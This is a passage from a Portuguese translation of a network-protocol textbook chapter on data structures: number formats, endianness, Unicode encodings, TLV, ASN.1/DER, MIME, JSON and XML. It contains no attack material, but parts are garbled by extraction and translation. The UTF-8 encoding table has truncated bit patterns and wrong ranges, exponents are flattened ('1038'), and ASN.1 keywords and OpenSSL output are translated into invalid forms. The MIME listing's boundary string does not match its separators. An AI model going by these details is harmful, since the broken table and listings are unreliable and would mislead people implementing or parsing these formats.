ou negativo. A Figura 3-4 mostra o layout geral de um valor de
ponto flutuante IEEE, e a Tabela 3-2 lista os tamanhos comuns
de expoente e mantissa.

Figura 3-4: Representação em ponto flutuante

Tabela 3-2: Tamanhos e intervalos comuns de ponto flutuante

Tamanho bits bits Faixa de valore


do bit exponenciais significativos

32 8 23 +/– 3,402823 ×
1038

64 11 52 +/–
1,797693134862
× 10308

Booleanos
Como os valores booleanos são muito importantes para os
computadores, não é surpresa vê-los refletidos em um
protocolo. Cada protocolo determina como representar se um
valor booleano é verdadeiro ou falso, mas existem algumas
convenções comuns.

A forma básica de representar um valor booleano é com um


único bit. Um bit 0 significa falso e um bit 1 significa
verdadeiro. Isso certamente é eficiente em termos de espaço,
mas não necessariamente a maneira mais simples de interagir
com um aplicativo subjacente. É mais comum usar um único
byte para um valor booleano porque é muito mais fácil de
manipular. Também é comum usar zero para representar falso
e um valor diferente de zero para representar verdadeiro.

Sinalizadores de bits

Os flags de bits são uma forma de representar estados


booleanos específicos em um protocolo. Por exemplo, no TCP,
um conjunto de flags de bits é usado para determinar o estado
atual de uma conexão. Ao estabelecer uma conexão, o cliente
envia um pacote com o flag de sincronização (SYN) ativado para
indicar que as conexões devem sincronizar seus
temporizadores. O servidor pode então responder com um flag
de reconhecimento (ACK) para indicar que recebeu a solicitação
do cliente, bem como com o flag SYN para estabelecer a
sincronização com o cliente. Se esse handshake utilizasse
valores enumerados únicos, esse estado duplo seria impossível
sem um estado SYN/ACK distinto.

Binário Endian

A ordem dos bytes (endianness) é um fator crucial para a


correta interpretação de protocolos binários. Ela entra em jogo
sempre que um valor de múltiplos octetos, como uma palavra
de 32 bits, é transferido. O endianness é uma característica de
como os computadores armazenam dados na memória.

Como os octetos são transmitidos sequencialmente na rede, é


possível enviar o octeto mais significativo de um valor como a
primeira parte da transmissão, assim como o inverso — enviar
o octeto menos significativo primeiro. A ordem em que os
octetos são enviados determina a ordem dos bytes (endianness)
dos dados. O tratamento incorreto do formato endianness pode
levar a erros sutis na análise dos protocolos.

As plataformas modernas usam dois formatos endian


principais: big-endian e little-endian. O big-endian armazena o
byte mais significativo no endereço mais baixo, enquanto o
little-endian armazena o byte menos significativo nesse
endereço. A Figura 3-5 mostra como o inteiro de 32 bits
0x01020304 é armazenado em ambos os formatos.

Figura 3-5: Representação de palavras em big-endian e little-


endian

A ordem dos bytes (endianness) de um valor é comumente


referida como ordem de rede ou ordem do host. Como as RFCs
da Internet invariavelmente usam big endian como o tipo
preferencial para todos os protocolos de rede que especificam
(a menos que haja razões legadas para fazer o contrário), big
endian é referido como ordem de rede. Mas seu computador
pode ser big endian ou little endian. Arquiteturas de
processador como x86 usam little endian; outras, como SPARC,
usam big endian.

OBSERVAÇÃO
Algumas arquiteturas de processador, incluindo
SPARC, ARM e MIPS, podem ter lógica integrada
que especifica a ordem dos bytes (endianness) em
tempo de execução, geralmente alternando um
sinalizador de controle do processador. Ao
desenvolver software de rede, não faça suposições
sobre a ordem dos bytes da plataforma em que
você está executando o aplicativo. A API de rede
usada para construir um aplicativo normalmente
contém funções de conveniência para conversão
entre essas ordens. Outras plataformas, como o
PDP-11, usam um formato middle-endian onde as
palavras de 16 bits são trocadas; no entanto, é
improvável que você encontre um desses no dia a
dia, então não se preocupe com isso.

Texto e dados legíveis por humanos

Juntamente com dados numéricos, as strings são o tipo de valor


que você encontrará com mais frequência, seja para transmitir
credenciais de autenticação ou caminhos de recursos. Ao
inspecionar um protocolo projetado para enviar apenas
caracteres em inglês, o texto provavelmente estará codificado
em ASCII. O padrão ASCII original definiu um conjunto de
caracteres de 7 bits, de 0 a 0x7F, que inclui a maioria dos
caracteres necessários para representar o idioma inglês
(mostrado na Figura 3-6).

Figura 3-6: Uma tabela ASCII de 7 bits

O padrão ASCII foi originalmente desenvolvido para terminais


de texto (dispositivos físicos com uma cabeça de impressão
móvel). Os caracteres de controle eram usados para enviar
mensagens ao terminal, movendo a cabeça de impressão ou
sincronizando a comunicação serial entre o computador e o
terminal. O conjunto de caracteres ASCII contém dois tipos de
caracteres: de controle e imprimíveis. A maioria dos caracteres
de controle são resquícios desses dispositivos e praticamente
não são mais utilizados. No entanto, alguns ainda fornecem
informações em computadores modernos, como CR e LF, que
são usados para marcar o final de linhas de texto.

Os caracteres imprimíveis são aqueles que você pode ver. Esse


conjunto de caracteres consiste em muitos símbolos familiares
e caracteres alfanuméricos; no entanto, eles não serão muito
úteis se você quiser representar caracteres internacionais, que
são milhares. É inviável representar sequer uma fração dos
caracteres possíveis em todos os idiomas do mundo em um
número de 7 bits.

Três estratégias são comumente empregadas para contornar


essa limitação: páginas de código, conjuntos de caracteres
multibyte e Unicode. Um protocolo exigirá que você use uma
dessas três maneiras de representar o texto ou oferecerá uma
opção que um aplicativo poderá selecionar.

Páginas de código

A maneira mais simples de estender o conjunto de caracteres


ASCII é reconhecer que, se todos os seus dados forem
armazenados em octetos, 128 valores não utilizados (de 128 a
255) podem ser reaproveitados para armazenar caracteres
extras. Embora 256 valores não sejam suficientes para
armazenar todos os caracteres em todos os idiomas disponíveis,
existem muitas maneiras diferentes de usar o intervalo não
utilizado. Quais caracteres são mapeados para quais valores é
normalmente codificado em especificações chamadas páginas
de código ou codificações de caracteres.

Conjuntos de caracteres multibyte

Em idiomas como o chinês, o japonês e o coreano


(coletivamente denominados CJK), é simplesmente impossível
representar toda a escrita do idioma com 256 caracteres,
mesmo utilizando todo o espaço disponível. A solução é usar
conjuntos de caracteres multibyte combinados com ASCII para
codificar esses idiomas. Codificações comuns são Shift-JIS para
japonês e GB2312 para chinês simplificado.

Os conjuntos de caracteres multibyte permitem usar dois ou


mais octetos em sequência para codificar um caractere
desejado, embora raramente sejam usados na prática. Na
verdade, se você não estiver trabalhando com CJK,
provavelmente não os verá em lugar nenhum. (Por uma
questão de brevidade, não discutirei mais os conjuntos de
caracteres multibyte; existem muitos recursos online que
podem ajudá-lo a decodificá-los, se necessário.)

Unicode

O padrão Unicode, padronizado pela primeira vez em 1991, visa


representar todos os idiomas em um conjunto de caracteres
unificado. Você pode pensar no Unicode como outro conjunto
de caracteres multibyte. Mas, em vez de se concentrar em um
idioma específico, como o Shift-JIS faz com o japonês, ele tenta
codificar todos os idiomas escritos, incluindo alguns arcaicos e
construídos, em um único conjunto de caracteres universal.

O Unicode define dois conceitos relacionados: mapeamento de


caracteres e codificação de caracteres. O mapeamento de
caracteres inclui a correspondência entre um valor numérico e
um caractere, bem como muitas outras regras e regulamentos
sobre como os caracteres são usados ou combinados. A
codificação de caracteres define a maneira como esses valores
numéricos são codificados no arquivo ou protocolo de rede
subjacente. Para fins de análise, é muito mais importante saber
como esses valores numéricos são codificados.

Cada caractere em Unicode recebe um ponto de código que


representa um caractere único. Os pontos de código são
geralmente escritos no formato U+ABCD, onde ABCD é o valor
hexadecimal do ponto de código. Para fins de compatibilidade,
os primeiros 128 pontos de código correspondem ao que é
especificado em ASCII, e os 128 pontos de código seguintes são
retirados da norma ISO/IEC 8859-1. O valor resultante é
codificado usando um esquema específico, às vezes chamado de
Conjunto de Caracteres Universal (UCS) ou Formato de
Transformação Unicode (UTF). (Existem diferenças sutis entre
os formatos UCS e UTF, mas, para fins de identificação e
manipulação, essas diferenças são irrelevantes.) A Figura 3-7
mostra um exemplo simples de alguns formatos Unicode
diferentes.
Figura 3-7: A string "Olá" em diferentes codificações Unicode

Três codificações Unicode comuns em uso são UTF-16, UTF-32 e


UTF-8.

UCS-2/UTF-16

UCS-2/UTF-16 é o formato nativo nas plataformas Microsoft


Windows modernas, bem como nas máquinas virtuais Java e
.NET quando estão executando código. Ele codifica pontos de
código em sequências de inteiros de 16 bits e possui variantes
little-endian e big-endian.

UCS-4/UTF-32

UCS-4/UTF-32 é um formato comum usado em aplicações Unix


por ser o formato de caracteres largos padrão em muitos
compiladores C/C++. Ele codifica pontos de código em
sequências de inteiros de 32 bits e possui diferentes variantes
de endianness.

UTF-8

UTF-8 é provavelmente o formato mais comum no Unix. É


também o formato padrão de entrada e saída para diversas
plataformas e tecnologias, como XML. Em vez de ter um
tamanho inteiro fixo para os pontos de código, ele os codifica
usando um valor de comprimento variável simples. A Tabela 3-
3 mostra como os pontos de código são codificados em UTF-8.

Tabela 3-3: Regras de codificação para pontos de código Unicode


em UTF-8
Fragmentos Primeiro Último Byte 1 Byte 2
de ponto de ponto de ponto
código código de
(U+) código
(U+)

0–7 0000 007F 0xxxx

8–11 0080 07FF 110xxxx 10xxxx

12–16 0800 FFFF 1110xxxx 10xxxx

17–21 10000 1FFFF 11110xxx 10xxxx

22–26 200000 3FFFF 11110xx 10xxxx

26–31 4000000 7FFFF 11110x 10xxxx

O UTF-8 possui muitas vantagens. Para começar, sua definição


de codificação garante que o conjunto de caracteres ASCII,
pontos de código U+0000 a U+007F, sejam codificados usando
bytes individuais. Esse esquema torna o formato não apenas
compatível com ASCII, mas também eficiente em termos de
espaço. Além disso, o UTF-8 é compatível com programas em
C/C++ que dependem de strings terminadas em NUL.

Apesar de todas as suas vantagens, o UTF-8 tem um custo, pois


idiomas como o chinês e o japonês consomem mais espaço do
que em UTF-16. A Figura 3-8 mostra uma codificação
desvantajosa de caracteres chineses. Observe, porém, que o
UTF-8 neste exemplo ainda é mais eficiente em termos de
espaço do que o UTF-32 para os mesmos caracteres.

Figura 3-8: A sequência "兔子" em diferentes codificações


Unicode

OBSERVAÇÃO
A codificação de caracteres incorreta ou ingênua
pode ser a origem de problemas de segurança sutis,
que variam desde a burla de mecanismos de
filtragem (por exemplo, em um caminho de
recurso solicitado) até a ocorrência de estouros de
buffer. Investigaremos algumas das
vulnerabilidades associadas à codificação de
caracteres no Capítulo 10.

Dados binários de comprimento variável

Se o desenvolvedor do protocolo souber antecipadamente


exatamente quais dados devem ser transmitidos, ele poderá
garantir que todos os valores dentro do protocolo tenham um
comprimento fixo. Na realidade, isso é bastante raro, embora
até mesmo credenciais de autenticação simples se
beneficiariam da capacidade de especificar comprimentos
variáveis para nomes de usuário e senhas. Os protocolos
utilizam diversas estratégias para produzir valores de dados de
comprimento variável: discutirei as mais comuns — dados
terminados, dados com prefixo de comprimento, dados com
comprimento implícito e dados preenchidos — nas seções
seguintes.

Dados encerrados
Você viu um exemplo de dados de comprimento variável
quando discutimos números inteiros de comprimento variável
anteriormente neste capítulo. O valor inteiro de comprimento
variável era encerrado quando o bit mais significativo (MSB) do
octeto era 0. Podemos estender o conceito de valores de término
para elementos como strings ou vetores de dados.

Um valor de dados terminado possui um símbolo terminal


definido que informa ao analisador de dados que o final do
valor foi atingido. O símbolo terminal é usado porque é
improvável que esteja presente em dados típicos, garantindo
que o valor não seja terminado prematuramente. Em dados de
string, o valor terminal pode ser um valor NUL (representado
por 0) ou um dos outros caracteres de controle do conjunto
ASCII.

Se o símbolo de terminação escolhido ocorrer durante a


transferência normal de dados, você precisa usar um
mecanismo para escapar desses símbolos. Em strings, é comum
ver o caractere de terminação precedido por uma barra
invertida (\) ou repetido duas vezes para evitar que seja
identificado como o símbolo de terminação. Essa abordagem é
especialmente útil quando um protocolo não sabe
antecipadamente o comprimento de um valor — por exemplo,
se ele for gerado dinamicamente. A Figura 3-9 mostra um
exemplo de uma string terminada por um valor NUL.

Figura 3-9: "Olá" como uma string terminada em NUL

Os dados delimitados geralmente são finalizados por um


símbolo que corresponde ao primeiro caractere da sequência
de comprimento variável. Por exemplo, ao usar dados de string,
você pode encontrar uma string entre aspas duplas. As aspas
duplas iniciais indicam ao analisador sintático que ele deve
procurar o caractere correspondente para finalizar os dados. A
Figura 3-10 mostra uma string delimitada por um par de aspas
duplas.
Figura 3-10: "Olá" como uma string delimitada por aspas duplas

Dados com prefixo de comprimento

Se um valor de dados for conhecido antecipadamente, é


possível inserir seu comprimento diretamente no protocolo. O
analisador do protocolo pode ler esse valor e, em seguida, ler o
número apropriado de unidades (por exemplo, caracteres ou
octetos) para extrair o valor original. Essa é uma maneira muito
comum de especificar dados de comprimento variável.

O tamanho real do prefixo de comprimento geralmente não é


tão importante, embora deva ser razoavelmente representativo
dos tipos de dados que estão sendo transmitidos. A maioria dos
protocolos não precisa especificar o intervalo completo de um
inteiro de 32 bits; no entanto, você frequentemente verá esse
tamanho usado como um campo de comprimento, mesmo que
apenas porque se adapta bem à maioria das arquiteturas e
plataformas de processadores. Por exemplo, a Figura 3-11
mostra uma string com um prefixo de comprimento de 8 bits.

Figura 3-11: "Olá" como uma string com prefixo de


comprimento

Dados de comprimento implícito

Às vezes, o tamanho do valor dos dados está implícito nos


valores ao seu redor. Por exemplo, imagine um protocolo que
envia dados de volta para um cliente usando um protocolo
orientado a conexão, como o TCP. Em vez de especificar o
tamanho dos dados antecipadamente, o servidor poderia fechar
a conexão TCP, sinalizando implicitamente o fim dos dados. É
assim que os dados são retornados em uma resposta HTTP
versão 1.0.

Outro exemplo seria um protocolo ou estrutura de nível


superior que já tenha especificado o comprimento de um
conjunto de valores. O analisador sintático poderia extrair essa
estrutura de nível superior primeiro e, em seguida, ler os
valores contidos nela. O protocolo poderia usar o fato de que
essa estrutura tem um comprimento finito associado a ela para
calcular implicitamente o comprimento de um valor de
maneira semelhante para fechar a conexão (sem fechá-la, é
claro). Por exemplo, a Figura 3-12 mostra um exemplo trivial
onde um inteiro variável de 7 bits e uma string estão contidos
em um único bloco. (Obviamente, na prática, isso pode ser
consideravelmente mais complexo.)

Figura 3-12: "Olá" como uma string de comprimento implícito

Dados preenchidos

Dados preenchidos são usados quando há um limite máximo


para o comprimento de um valor, como um limite de 32 octetos.
Para simplificar, em vez de prefixar o valor com um
comprimento ou ter um valor de terminação explícito, o
protocolo poderia enviar a string completa de comprimento
fixo, mas terminar o valor preenchendo os dados não utilizados
com um valor conhecido. A Figura 3-13 mostra um exemplo.

Figura 3-13: "Olá" como uma string preenchida com '$'

Datas e horários

Para um protocolo, é crucial obter a data e a hora corretas.


Ambas podem ser usadas como metadados, como registros de
modificação de arquivos em um protocolo de arquivos de rede,
bem como para determinar a expiração de credenciais de
autenticação. A implementação incorreta do registro de data e
hora pode causar sérios problemas de segurança. O método de
representação de data e hora depende dos requisitos de uso, da
plataforma em que os aplicativos são executados e dos
requisitos de espaço do protocolo. Abordarei duas
representações comuns, POSIX/Unix Time e Windows
FILETIME, nas seções seguintes.
Tempo POSIX/Unix

Atualmente, o tempo POSIX/Unix é armazenado como um valor


inteiro de 32 bits com sinal, representando o número de
segundos decorridos desde a época Unix, geralmente
especificada como 00:00:00 (UTC), 1 de janeiro de 1970. Embora
não seja um temporizador de alta definição, é suficiente para a
maioria dos cenários. Como um inteiro de 32 bits, esse valor é
limitado a 03:14:07 (UTC) de 19 de janeiro de 2038, ponto em
que a representação sofrerá um estouro de capacidade. Alguns
sistemas operacionais modernos agora utilizam uma
representação de 64 bits para solucionar esse problema.

Windows FILETIME

O formato FILETIME do Windows é o formato de data e hora


usado pelo Microsoft Windows para os registros de data e hora
do sistema de arquivos. Por ser o único formato no Windows
com representação binária simples, ele também aparece em
alguns protocolos diferentes.

O formato FILETIME é um inteiro sem sinal de 64 bits. Uma


unidade do inteiro representa um intervalo de 100 ns. A época
do formato é 00:00:00 (UTC), 1 de janeiro de 1601. Isso confere
ao formato FILETIME um intervalo maior do que o formato de
tempo POSIX/Unix.
Etiqueta, Comprimento, Padrão de Valor

É fácil imaginar como se pode enviar dados sem importância


usando protocolos simples, mas o envio de dados mais
complexos e importantes requer algumas explicações. Por
exemplo, um protocolo que pode enviar diferentes tipos de
estruturas deve ter uma maneira de representar os limites de
uma estrutura e seu tipo.

Uma forma de representar dados é com um padrão Tag,


Comprimento, Valor (TLV). O valor da Tag representa o tipo de
dado enviado pelo protocolo, que geralmente é um valor
numérico (normalmente uma lista enumerada de valores
possíveis). Mas a Tag pode ser qualquer coisa que forneça às
estruturas de dados um padrão único. O Comprimento e o Valor
são valores de comprimento variável. A ordem em que os
valores aparecem não é importante; na verdade, a Tag pode
fazer parte do Valor. A Figura 3-14 mostra algumas maneiras
pelas quais esses valores podem ser organizados.

O valor da Tag enviada pode ser usado para determinar como


processar os dados posteriormente. Por exemplo, dados dois
tipos de Tags, uma que indica as credenciais de autenticação
para o aplicativo e outra que representa uma mensagem sendo
transmitida para o analisador sintático, devemos ser capazes de
distinguir entre os dois tipos de dados. Uma grande vantagem
desse padrão é que ele nos permite estender um protocolo sem
quebrar aplicativos que não foram atualizados para suportar o
protocolo atualizado. Como cada estrutura é enviada com uma
Tag e um Comprimento associados, um analisador sintático de
protocolo pode ignorar as estruturas que não entende.

Figura 3-14: Possíveis arranjos de TLV

Multiplexação e Fragmentação

Frequentemente, na comunicação por computador, várias


tarefas precisam ser executadas simultaneamente. Por
exemplo, considere o Protocolo de Área de Trabalho Remota
(RDP) da Microsoft: um usuário pode estar movendo o cursor
do mouse, digitando no teclado e transferindo arquivos para
um computador remoto enquanto as alterações na tela e no
áudio são transmitidas de volta para o usuário (veja a Figura 3-
15).

Figura 3-15: Requisitos de dados para o Protocolo de Área de


Trabalho Remota

Essa complexa transferência de dados não resultaria em uma


experiência muito rica se as atualizações da tela tivessem que
esperar a reprodução de um arquivo de áudio de 10 minutos
terminar antes de serem exibidas. É claro que uma solução
seria abrir várias conexões com o computador remoto, mas isso
consumiria mais recursos. Em vez disso, muitos protocolos
usam multiplexação, que permite que várias conexões
compartilhem a mesma conexão de rede subjacente.

A multiplexação (mostrada na Figura 3-16) define um


mecanismo de canal interno que permite que uma única
conexão hospede vários tipos de tráfego, fragmentando grandes
transmissões em partes menores. A multiplexação então
combina essas partes em uma única conexão. Ao analisar um
protocolo, pode ser necessário desmultiplexar esses canais para
obter os dados originais de volta.

Figura 3-16: Dados RDP multiplexados

Infelizmente, alguns protocolos de rede restringem o tipo de


dados que podem ser transmitidos e o tamanho máximo de
cada pacote de dados — um problema comum na sobreposição
de protocolos. Por exemplo, o Ethernet define o tamanho
máximo dos quadros de tráfego como 1500 octetos, e a
execução do IP sobre essa base causa problemas, pois o
tamanho máximo dos pacotes IP pode ser de 65536 bytes. A
fragmentação foi projetada para resolver esse problema: ela
utiliza um mecanismo que permite à pilha de rede converter
pacotes grandes em fragmentos menores quando o aplicativo
ou o sistema operacional sabe que o pacote inteiro não pode ser
processado pela camada seguinte.

Informações de endereço de rede

A representação de informações de endereço de rede em um


protocolo geralmente segue um formato bastante padrão. Como
quase certamente estamos lidando com protocolos TCP ou UDP,
a representação binária mais comum é o endereço IP como um
valor de 4 ou 16 octetos (para IPv4 ou IPv6) juntamente com
uma porta de 2 octetos. Por convenção, esses valores são
normalmente armazenados como inteiros big-endian.

Você também pode ver nomes de host sendo enviados em vez


de endereços brutos. Como os nomes de host são apenas strings,
eles seguem os padrões usados para o envio de strings de
comprimento variável, que foi discutido anteriormente em
“Dados Binários de Comprimento Variável”, na página 47. A
Figura 3-17 mostra como alguns desses formatos podem
aparecer.
Figura 3-17: Informações de rede em binário

Formatos binários estruturados

Embora os protocolos de rede personalizados tenham o hábito


de reinventar a roda, às vezes faz mais sentido reaproveitar
projetos existentes ao descrever um novo protocolo. Por
exemplo, um formato comum encontrado em protocolos
binários é a Notação de Sintaxe Abstrata 1 (ASN.1). A ASN.1 é a
base para protocolos como o Protocolo Simples de
Gerenciamento de Rede (SNMP) e é o mecanismo de codificação
para todos os tipos de valores criptográficos, como certificados
X.509.

O ASN.1 é padronizado pela ISO, IEC e ITU na série X.680. Ele


define uma sintaxe abstrata para representar dados
estruturados. Os dados são representados no protocolo
dependendo das regras de codificação, e existem inúmeras
codificações. Mas é mais provável que você encontre as Regras
de Codificação Distintas (DER), que são projetadas para
representar estruturas ASN.1 de uma forma que não possa ser
mal interpretada — uma propriedade útil para protocolos
criptográficos. A representação DER é um bom exemplo de um
protocolo TLV.

Em vez de entrar em detalhes sobre o ASN.1 (o que ocuparia


boa parte deste livro), apresento a Listagem 3-1, que mostra o
ASN.1 para certificados X.509.

Certificado ::= SEQUÊNCIA


versão [0] EXPLÍCITO Versão PADRÃO v1,
númeroDeSérie NúmeroDeSérieDoCertificado,
assinatura IdentificadorDoAlgoritmo,
emissor Nome,
validade Validade,
sujeito Nome,
informaçõesDaChavePúblicaDoSujeito InformaçõesDaChave
IDÚnicoDoEmissor [1] IMPLÍCITO IdentificadorÚnico OPC
IDÚnicoDoSujeito [2] IMPLÍCITO IdentificadorÚnico OPC
extensões [3] EXPLÍCITO Extensões OPCIONAL

Listagem 3-1: Representação ASN.1 para certificados X.509

Esta definição abstrata de um certificado X.509 pode ser


representada em qualquer um dos formatos de codificação do
ASN.1. A Listagem 3-2 mostra um trecho do formato codificado
em DER, obtido como texto usando o utilitário OpenSSL.

$ openssl asn1parse -in [Link]


0:d=0 hl=4 l= 539 cons: SEQUENCE
4:d=1 hl=4 l= 388 cons: SEQUENCE
8:d=2 hl=2 l= 3 cons: cont [ 0 ]
10:d=3 hl=2 l= 1 prim: INTEGER :02
13:d=2 hl=2 l= 16 prim: INTEGER :19BB8E9E2F7D60BE48BF
31:d=2 hl=2 l= 13 cons: SEQUÊNCIA
33:d=3 hl=2 l= 9 prim: OBJETO :sha1WithRSAEncryption
44:d=3 hl=2 l= 0 prim: NULL
46:d=2 hl=2 l= 17 cons: SEQUÊNCIA
48:d=3 hl=2 l= 15 cons: CONJUNTO
50:d=4 hl=2 l= 13 cons: SEQUÊNCIA
52:d=5 hl=2 l= 3 prim: OBJETO :commonName
57:d=5 hl=2 l= 6 prim: PRINTABLESTRING :democa

Listagem 3-2: Um pequeno exemplo de certificado X.509

Estruturas de Protocolo de Texto

Os protocolos de texto são uma boa escolha quando o objetivo


principal é a transferência de texto, razão pela qual os
protocolos de transferência de e-mail, mensagens instantâneas
e agregação de notícias geralmente são baseados em texto. Os
protocolos de texto devem ter estruturas semelhantes aos
protocolos binários. Isso porque, embora seu conteúdo
principal seja diferente, ambos compartilham o objetivo de
transferir dados de um lugar para outro.

A seção a seguir detalha algumas estruturas comuns de


protocolo de texto que você provavelmente encontrará no
mundo real.

Dados numéricos
Ao longo dos milênios, a ciência e as linguagens escritas
inventaram maneiras de representar valores numéricos em
formato textual. É claro que os protocolos de computador não
precisam ser legíveis para humanos, mas por que se dar ao
trabalho de impedir que um protocolo seja legível (a menos que
seu objetivo seja a ofuscação deliberada)?

Números inteiros

É fácil representar valores inteiros usando a representação do


conjunto de caracteres atual, que inclui os caracteres de 0 a 9
(ou de A a F, se hexadecimal). Nessa representação simples, as
limitações de tamanho não são um problema e, se um número
precisar ser maior que o tamanho de uma palavra binária,
basta adicionar dígitos. Claro, é melhor torcer para que o
analisador de protocolo consiga lidar com os dígitos extras, ou
problemas de segurança inevitavelmente ocorrerão.

Para formar um número com sinal, adiciona-se o caractere de


menos (–) à frente do número; o símbolo de mais (+) para
números positivos está implícito.

Números decimais

Os números decimais geralmente são definidos usando


formatos legíveis para humanos. Por exemplo, você pode
escrever um número como 1,234, usando o ponto para separar
os componentes inteiro e fracionário do número; no entanto,
você ainda precisará considerar a necessidade de analisar o
valor posteriormente.

Representações binárias, como números de ponto flutuante,


não conseguem representar todos os valores decimais com
precisão finita (assim como decimais não conseguem
representar números como 1/3). Esse fato pode dificultar a
representação de alguns valores em formato de texto e causar
problemas de segurança, especialmente quando os valores são
comparados entre si.

Texto Booleanos

Os valores booleanos são fáceis de representar em protocolos


de texto. Normalmente, são representados pelas palavras
"verdadeiro" ou "falso". Mas, para complicar um pouco, alguns
protocolos podem exigir que as palavras sejam escritas
exatamente com a primeira letra maiúscula para serem válidas.
E, às vezes, valores inteiros são usados em vez de palavras,
como 0 para falso e 1 para verdadeiro, mas isso não é muito
comum.

Datas e horários
Em termos simples, codificar datas e horas é fácil: basta
representá-las como seriam escritas em uma linguagem legível
por humanos. Contanto que todos os aplicativos concordem
com a representação, isso deve ser suficiente.

Infelizmente, nem todos concordam com um formato padrão,


então normalmente são usadas várias representações de data
diferentes. Isso pode ser um problema particularmente grave
em aplicativos como clientes de e-mail, que precisam processar
todos os tipos de formatos de data internacionais.

Dados de comprimento variável

Todos os protocolos, exceto os mais triviais, precisam de uma


maneira de separar campos de texto importantes para que
possam ser facilmente interpretados. Quando um campo de
texto é separado do protocolo original, ele é comumente
chamado de token. Alguns protocolos especificam um
comprimento fixo para tokens, mas é muito mais comum exigir
algum tipo de dado de comprimento variável.

Texto delimitado

Separar tokens com caracteres delimitadores é uma maneira


muito comum de separar tokens e campos, sendo simples de
entender, construir e analisar. Qualquer caractere pode ser
usado como delimitador (dependendo do tipo de dados
transferidos), mas o espaço em branco é o mais comum em
formatos legíveis por humanos. Dito isso, o delimitador não
precisa ser um espaço em branco. Por exemplo, o protocolo FIX
(Financial Information Exchange) delimita tokens usando o
caractere ASCII SOH (Start of Header) com valor 1.

Texto finalizado

Protocolos que especificam uma maneira de separar tokens


individuais também devem ter uma maneira de definir uma
condição de Fim de Comando. Se um protocolo for dividido em
linhas separadas, as linhas devem ser terminadas de alguma
forma. A maioria dos protocolos de Internet baseados em texto
mais conhecidos são orientados a linhas, como HTTP e IRC; as
linhas normalmente delimitam estruturas inteiras, como o fim
de um comando.

O que constitui o caractere de fim de linha? Isso depende de


quem você pergunta. Os desenvolvedores de sistemas
operacionais geralmente definem o caractere de fim de linha
como o caractere ASCII Line Feed (LF), que tem o valor 10; o
caractere Carriage Return (CR), com o valor 13; ou a
combinação CR LF. Protocolos como HTTP e Simple Mail
Transfer Protocol (SMTP) especificam CR LF como a
combinação oficial de fim de linha. No entanto, tantas
implementações incorretas ocorrem que a maioria dos
analisadores sintáticos também aceita um LF isolado como
indicação de fim de linha.

Formatos de texto estruturado

Assim como ocorre com formatos binários estruturados, como o


ASN.1, normalmente não há necessidade de reinventar a roda
ao representar dados estruturados em um protocolo de texto.
Podemos pensar em formatos de texto estruturado como texto
delimitado turbinado e, como tal, regras devem ser
estabelecidas para a representação de valores e a construção de
hierarquias. Com isso em mente, descreverei três formatos
comumente usados em protocolos de texto do mundo real.

Extensões de e-mail multiuso da Internet

Originalmente desenvolvido para o envio de mensagens de e-


mail multipartes, o Multipurpose Internet Mail Extensions
(MIME) foi incorporado a diversos protocolos, como o HTTP. A
especificação nas RFCs 2045, 2046 e 2047, juntamente com
várias outras RFCs relacionadas, define uma maneira de
codificar múltiplos anexos distintos em uma única mensagem
codificada em MIME.
As mensagens MIME separam as partes do corpo definindo uma
linha separadora comum precedida por dois traços (--). A
mensagem é finalizada com os mesmos dois traços após esse
separador. A Listagem 3-3 mostra um exemplo de uma
mensagem de texto combinada com uma versão binária da
mesma mensagem.

MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=MSG_293489482

Esta é uma mensagem com várias partes em formato MIME


--MSG_2934894829
Content-Type: text/plain

Olá Mundo!
--MSG_2934894829
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

PGh0bWw+Cjxib2R5PgpIZWxsbyBXb3JsZCEKPC9ib2R5Pgo8L2h0b
--MSG_2934894829--

Listagem 3-3: Uma mensagem MIME simples


Um dos usos mais comuns do MIME é para valores Content-
Type, geralmente chamados de tipos MIME. Um tipo MIME é
amplamente utilizado no fornecimento de conteúdo HTTP e em
sistemas operacionais para mapear um aplicativo a um tipo de
conteúdo específico. Cada tipo consiste na forma dos dados que
representa, como texto ou aplicativo, no formato dos dados.
Nesse caso, "plain" é texto não codificado e "octet-stream" é uma
sequência de bytes.

Notação de Objetos JavaScript

A Notação de Objetos JavaScript (JSON) foi concebida como uma


representação simples de uma estrutura baseada no formato de
objeto fornecido pela linguagem de programação JavaScript.
Originalmente, era utilizada para transferir dados entre uma
página web em um navegador e um serviço de backend, como
em JavaScript Assíncrono e XML (AJAX). Atualmente, é
comumente utilizada para transferência de dados de serviços
web e em diversos outros protocolos.

O formato JSON é simples: um objeto JSON é delimitado por


chaves ({}) do tipo ASCII. Dentro dessas chaves, encontram-se
zero ou mais entradas, cada uma composta por uma chave e
um valor. Por exemplo, a Listagem 3-4 mostra um objeto JSON
simples composto por um valor de índice inteiro, a string "Olá
mundo!" e um array de strings.

"index" : 0,
"str" : "Olá Mundo!",
"arr" : [ "A", "B" ]

Listagem 3-4: Um objeto JSON simples

O formato JSON foi projetado para processamento em


JavaScript e pode ser analisado usando a função "eval".
Infelizmente, o uso dessa função acarreta um risco de
segurança significativo; especificamente, é possível inserir
código JavaScript arbitrário durante a criação de objetos.
Embora a maioria das aplicações modernas utilize uma
biblioteca de análise sintática que não necessita de conexão
com JavaScript, é importante garantir que código JavaScript
arbitrário não seja executado no contexto da aplicação. Isso
porque pode levar a potenciais problemas de segurança, como
cross-site scripting (XSS), uma vulnerabilidade em que
JavaScript controlado por um atacante pode ser executado no
contexto de outra página web, permitindo que o atacante acesse
os recursos protegidos da página.
Linguagem de Marcação Extensível

A Linguagem de Marcação Extensível (XML) é uma linguagem


de marcação para descrever um formato de documento
estruturado. Desenvolvida pelo W3C, deriva da Linguagem de
Marcação Generalizada Padrão (SGML). Possui muitas
semelhanças com o HTML, mas busca ser mais rigorosa em sua
definição para simplificar os analisadores sintáticos e criar
menos problemas de segurança.

Em sua essência, o XML consiste em elementos, atributos e


texto. Os elementos são os principais valores estruturais. Eles
possuem um nome e podem conter elementos filhos ou
conteúdo de texto. Apenas um elemento raiz é permitido em um
único documento. Os atributos são pares adicionais de nome e
valor que podem ser atribuídos a um elemento. Eles têm o
formato nome="Valor". O conteúdo de texto é exatamente isso,
texto. O texto é um filho de um elemento ou o componente de
valor de um atributo.

O exemplo 3-5 mostra um documento XML muito simples com


elementos, atributos e valores de texto.

<value index="0"> <str>Olá Mundo!</str>


<arr><value>A</value><value>B</value></arr>
</value>

Listagem 3-5: Um documento XML simples

Todos os dados XML são texto; a especificação XML não fornece


informações de tipo, portanto, o analisador sintático precisa
saber o que os valores representam. Certas especificações, como
